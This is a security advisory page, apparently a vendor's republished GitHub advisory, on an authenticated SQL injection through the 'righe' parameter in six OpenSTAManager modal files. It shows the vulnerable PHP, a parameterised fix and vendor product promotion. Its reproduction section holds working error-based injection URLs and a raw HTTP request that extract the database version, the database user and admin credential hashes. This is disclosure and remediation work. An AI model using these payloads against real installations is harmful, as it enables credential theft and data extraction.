GHSA-mmm5-3g4x-qw39
HIGHGHSA-mmm5-3g4x-qw39 is a high-severity (CVSS 8.8) SQL Injection vulnerability in devcode-it/openstamanager. O3 Security confirms whether GHSA-mmm5-3g4x-qw39 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
OpenSTAManager has a SQL Injection via righe Parameter in confronta_righe Modals
Blast Radius
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Description
Description
Six confronta_righe.php files across different modules in OpenSTAManager <= 2.10.1 contain an SQL Injection vulnerability. The righe parameter received via $_GET['righe'] is directly concatenated into an SQL query without any sanitization, parameterization or validation.
An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including user credentials, customer information, invoice data and any other stored data.
Affected Files
All 6 vulnerable files share the same code pattern:
| # | File | Line | Affected Table |
|---|---|---|---|
| 1 | modules/fatture/modals/confronta_righe.php | 29 | co_righe_documenti |
| 2 | modules/interventi/modals/confronta_righe.php | 29 | in_righe_interventi |
| 3 | modules/preventivi/modals/confronta_righe.php | 28 | co_righe_preventivi |
| 4 | modules/ordini/modals/confronta_righe.php | 29 | or_righe_ordini |
| 5 | modules/ddt/modals/confronta_righe.php | 29 | dt_righe_ddt |
| 6 | modules/contratti/modals/confronta_righe.php | 28 | co_righe_contratti |
Vulnerable Code
All files follow the same pattern. Example from modules/interventi/modals/confronta_righe.php:
$righe = $_GET['righe']; // Line 29 — No sanitization
$righe = $dbo->fetchArray(
'SELECT
`mg_articoli_lang`.`title`,
`mg_articoli`.`codice`,
`in_righe_interventi`.*
FROM
`in_righe_interventi`
INNER JOIN `mg_articoli` ON `mg_articoli`.`id` = `in_righe_interventi`.`idarticolo`
LEFT JOIN `mg_articoli_lang` ON (...)
WHERE
`in_righe_interventi`.`id` IN ('.$righe.')' // Line 41 — Direct concatenation
);
The value of $_GET['righe'] is inserted directly into the SQL IN() clause without using prepare(), parameterized statements or any sanitization function.
Reproduction
Prerequisites
- Authenticated session (any user with module access)
- At least one existing record in the target module (e.g. an intervention with id=1)
Step 1: Extract MySQL version
GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT VERSION())))%23
Result: XPATH syntax error: '~8.3.0'
Step 2: Extract database user
GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT USER())))%23
Result: XPATH syntax error: '[email protected]'
Step 3: Extract admin credentials
GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM zz_users LIMIT 1)))%23
Result: XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr'
Evidence
<img width="1254" height="395" alt="image" src="https://github.com/user-attachments/assets/a2367ed6-fa03-4668-9d74-4298cac5e429" />HTTP Request
GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(username,0x3a,password)%20FROM%20zz_users%20LIMIT%201)))%23 HTTP/1.1
Host: <TARGET>
Cookie: PHPSESSID=<SESSION_ID>
Response (excerpt)
SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr'
Impact
- Confidentiality (High): Full database data extraction including user credentials (bcrypt hashes), customer data, invoices, contracts and any stored information
- Integrity (High): Data modification via injected INSERT/UPDATE/DELETE statements through stacked queries or subqueries
- Availability (High): Deletion of tables or critical data, database corruption
Remediation
Recommended Fix
Use parameterized statements with prepare() for the righe parameter:
// BEFORE (vulnerable):
$righe = $_GET['righe'];
$righe = $dbo->fetchArray(
'... WHERE `in_righe_interventi`.`id` IN ('.$righe.')'
);
// AFTER (secure):
$righe_ids = array_map('intval', explode(',', $_GET['righe'] ?? ''));
$placeholders = implode(',', array_fill(0, count($righe_ids), '?'));
$righe = $dbo->fetchArray(
'... WHERE `in_righe_interventi`.`id` IN ('.$placeholders.')',
$righe_ids
);
This fix must be applied to all 6 files listed in the "Affected Files" section.
Credits
Omar Ramirez
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | devcode-it/openstamanager | all versions | 2.10.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for devcode-it/openstamanager. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update devcode-it/openstamanager to 2.10.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-mmm5-3g4x-qw39 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-mmm5-3g4x-qw39 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-mmm5-3g4x-qw39. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-mmm5-3g4x-qw39 in your dependencies?
O3 detects GHSA-mmm5-3g4x-qw39 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.